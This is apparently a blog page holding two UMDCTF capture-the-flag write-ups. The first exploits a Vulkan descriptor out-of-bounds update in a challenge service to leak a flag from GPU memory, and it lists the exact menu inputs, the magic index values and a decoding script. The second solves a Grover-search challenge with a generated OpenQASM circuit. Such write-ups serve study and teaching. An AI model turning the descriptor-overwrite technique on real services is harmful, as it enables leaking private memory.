What made this challenge interesting#

The normal account buffers were boring in the best way. Reads and writes were bounded, and the menu did not give me an easy heap or stack overflow.

The interesting part was not the account memory itself. It was the metadata that told the Vulkan shader which buffers to use.

The flag was copied into an oracle buffer during exchange setup:

1
static void init_resolution(App *app) {
2
    const char *env = getenv("FLAG");
3
    if (!env || !*env) {
4
        env = "UMDCTF{test_flag}";
5
    }
6
    snprintf(app->resolution, sizeof(app->resolution), "%s", env);
7

8
    make_raw_buffer(app, &app->oracle_buf, RESOLUTION_WORDS * sizeof(uint32_t));
9
    memcpy(app->oracle_buf.map, app->resolution, resolution_len);
10
    make_raw_buffer(app, &app->clearing_buf, RESOLUTION_WORDS * sizeof(uint32_t));
11
}

So the flag was already in GPU-visible memory. The challenge was to convince the compute shader to copy it somewhere I could read.

Background: the two important buffers#

The settlement shader used two storage-buffer bindings:

1
layout(set = 0, binding = 0) readonly buffer OracleBook {
2
    uint oracle_words[];
3
};
4

5
layout(set = 0, binding = 1) writeonly buffer ClearingBook {
6
    uint clearing_words[];
7
};

Normal behavior:

• binding 0 points to oracle_buf, which contains the flag
• binding 1 points to clearing_buf, which is private
• settlement copies one 4-byte word at a time

The shader logic was basically:

1
clearing_words[push.index] = oracle_words[push.index];

So if I could make clearing_words point to my account buffer, the shader would become a very fancy flag printer.

Step 1: Find where user input reaches Vulkan descriptors#

The helper that updates descriptors was straightforward:

1
static void update_storage_desc(App *app, VkDescriptorSet set, uint32_t binding,
2
                                uint32_t array_elem, VkBuffer buf,
3
                                VkDeviceSize off, VkDeviceSize range) {
4
    VkDescriptorBufferInfo info = desc_info(buf, off, range);
5
    VkWriteDescriptorSet write = {
6
        .sType = VK_STRUCTURE_TYPE_WRITE_DESCRIPTOR_SET,
7
        .dstSet = set,
8
        .dstBinding = binding,
9
        .dstArrayElement = array_elem,
10
        .descriptorCount = 1,
11
        .descriptorType = VK_DESCRIPTOR_TYPE_STORAGE_BUFFER,
12
        .pBufferInfo = &info,
13
    };
14
    vkUpdateDescriptorSets(app->device, 1, &write, 0, NULL);
15
}

The bug lived in menu_quote_position():

1
uint64_t idx = ask_u64("price_index: ");
2
...
3
if (idx < MIN_PRICE_INDEX || idx > MAX_PRICE_INDEX) {
4
    puts("bad price index");
5
    return;
6
}
7
...
8
update_storage_desc(app, app->quote_book, 0, (uint32_t)idx,
9
                    b->buf, off, range);

The program checks idx as a price index, but then uses it as dstArrayElement in vkUpdateDescriptorSets().

That is the mismatch. The quote descriptor binding has only one storage-buffer descriptor, but valid price indexes start at 32768. That is not “a little out of bounds.” That is “walk into the next building” out of bounds.

Step 2: Aim the descriptor overwrite#

During normal exchange setup, settlement binding 1 points to the private clearing buffer:

1
update_storage_desc(app, app->settlement_book, 1, 0,
2
                    app->clearing_buf.buf, 0, app->clearing_buf.size);

I wanted the out-of-bounds quote descriptor update to overwrite that descriptor, replacing clearing_buf with account 0.

The exact values that lined up in the challenge’s lavapipe runtime were:

1
account size   = 256
2
outcome_slots  = 32768
3
memo_bytes     = 8
4
price_index    = 32778
5
account        = 0
6
offset         = 0
7
range          = 256
8
rounds         = 0..63

The memo_bytes = 8 part was the tiny goblin detail. With memo_bytes = 0, the idea looked right but the overwrite missed the target descriptor. With 8, the descriptor metadata lined up and settlement binding 1 became my account buffer.

WARNING

This was not a normal C buffer overflow. The account buffer stayed bounded. The bug was in Vulkan descriptor metadata, so the important target was the shader binding, not a C return address.

Step 3: Run the exploit sequence#

The manual menu flow was short:

1
1
2
256
3
4
4
32768
5
8
6
5
7
6
8
32778
9
0
10
0
11
256

That does:

1. create account 0 with 256 bytes
2. list one large market
3. use memo_bytes = 8 for alignment
4. open the exchange
5. quote a position with price_index = 32778
6. point the overwritten descriptor at account 0

Then I settled each possible flag word:

1
7
2
0
3
7
4
1
5
7
6
2
7
...
8
7
9
63

Each settle_market(round) copied one 4-byte word from oracle_buf into what should have been clearing_buf, but was now account 0.

Step 4: Audit account 0 and decode the leak#

Finally I audited the account:

1
3
2
0
3
0
4
256

The service printed a long hex string. The solver decoded it like this:

1
data = io.recvuntil(b"\n\n")
2
hex_blob = re.search(rb"([0-9a-f]{64,})", data).group(1)
3
leak = bytes.fromhex(hex_blob.decode())
4
print(re.search(rb"UMDCTF\{[^}]+\}", leak).group(0).decode())

Expected output:

1
UMDCTF{yeah_im_sorry_for_making_this_i_know_its_really_annoying_but_at_least_maybe_you_learned_vulkan}

Flag

UMDCTF{yeah_im_sorry_for_making_this_i_know_its_really_annoying_but_at_least_maybe_you_learned_vulkan}

Why the solve worked#

The shader never needed to know it was leaking a flag. It only copied:

1
oracle_words[i] -> clearing_words[i]

The exploit changed what clearing_words meant. After the descriptor overwrite, clearing_words pointed to account 0. Then audit_account() became the final read primitive.

That is the cute part of this challenge: the GPU did exactly what it was told. I just changed who was holding the clipboard.

Concept map#

1
%%{init: {"themeVariables": {"fontSize": "20px"}}}%%
2
mindmap
3
  root((vkexchange))
4
    Data flow
5
      FLAG environment
6
        copied into oracle buffer
7
      settlement shader
8
        reads oracle words
9
        writes clearing words
10
      account zero
11
        normal bounded audit path
12
    Descriptor bug
13
      quote position menu
14
        accepts price index
15
        validates market price range
16
      Vulkan update
17
        price index becomes dstArrayElement
18
        quote binding has one descriptor
19
        huge index walks descriptor metadata
20
    Landing the overwrite
21
      market shape
22
        outcome slots 32768
23
        memo bytes 8
24
      magic index
25
        price index 32778
26
      target
27
        settlement binding one
28
        replace clearing buffer with account zero
29
    Flag copy loop
30
      settle round zero to sixty three
31
        copy oracle word into account
32
      audit account
33
        print leaked bytes as hex
34
      decode
35
        recover UMDCTF flag

What made this challenge interesting#

The service accepted one OpenQASM-like circuit. The setup was:

• 16 input qubits: q[0] through q[15]
• one ancilla: q[16]
• one 16-bit classical register
• a black-box oracle
• a helper called diffuse
• at most 250 oracle calls
• 512 shots

That is almost a neon sign saying “use Grover search.” The only real tuning question was how many iterations to use.

Step 1: Estimate the Grover iteration count#

There are:

1
2^16 = 65536

possible marked states. For one hidden marked state, the usual Grover estimate is:

1
floor(pi / 4 * sqrt(65536))
2
= floor(pi / 4 * 256)
3
= 201

So 201 was the first natural guess. It was syntactically accepted, but it did not print the flag. Quantum challenges enjoy being dramatic like that.

Trying nearby values showed that 200 iterations was the winner. It placed all 512 shots on one state and triggered the flag output.

Step 2: Build the circuit#

The circuit had four parts:

1. put all 16 input qubits into superposition
2. prepare the ancilla as |->
3. repeat oracle then diffuse 200 times
4. measure all input qubits

The solver generated the circuit like this:

1
def build_circuit(iters=200):
2
    n = 16
3
    lines = [
4
        "OPENQASM 2.0;",
5
        'include "qelib1.inc";',
6
        "qreg q[17];",
7
        "creg c[16];",
8
    ]
9

10
    for i in range(n):
11
        lines.append(f"h q[{i}];")
12

13
    lines += ["x q[16];", "h q[16];"]
14

15
    args16 = ",".join(f"q[{i}]" for i in range(n))
16
    args17 = ",".join(f"q[{i}]" for i in range(n + 1))
17

18
    for _ in range(iters):
19
        lines.append(f"oracle {args17};")
20
        lines.append(f"diffuse {args16};")
21

22
    for i in range(n):
23
        lines.append(f"measure q[{i}] -> c[{i}];")
24

25
    lines.append("END")
26
    return "\n".join(lines) + "\n"

The ancilla preparation matters because the oracle needs phase kickback. The x; h; sequence prepares q[16] as |->, which lets the hidden condition become a phase flip on the input state.

Step 3: Submit the circuit and read the counts#

After proof-of-work, the script sent the circuit and collected output.

The useful result was:

1
counts:
2
0110010101111010: 512
3
UMDCTF{0110010101111010}

All 512 shots landed on the same bitstring, so the service accepted it as enough probability mass on the hidden marked state.

Flag

UMDCTF{0110010101111010}

Why 200 worked better than the obvious 201#

The textbook count gives the right neighborhood, not always the exact service-winning integer. Real challenge simulators may differ slightly because of bit ordering, oracle conventions, ancilla behavior, or the service’s own threshold. So I treated 201 as a starting point, then checked nearby counts.

In this case, 200 was the sweet spot. The lesson is simple: do the math, then still test the fence posts.

Concept map#

1
%%{init: {"themeVariables": {"fontSize": "20px"}}}%%
2
mindmap
3
  root((quant?))
4
    Service pieces
5
      input register
6
        sixteen qubits
7
        65536 states
8
      ancilla
9
        q16
10
        prepared as minus state
11
      helpers
12
        black box oracle
13
        diffuse operator
14
    Grover tuning
15
      formula
16
        pi over four times square root N
17
        estimate is 201
18
      practical check
19
        try nearby counts
20
        200 iterations wins
21
    Circuit recipe
22
      initialize
23
        hadamards on inputs
24
        x then h on ancilla
25
      amplification loop
26
        oracle
27
        diffuse
28
        repeat 200 times
29
      measurement
30
        measure q0 through q15
31
    Output
32
      counts
33
        one state gets all 512 shots
34
        state 0110010101111010
35
      flag
36
        service prints UMDCTF flag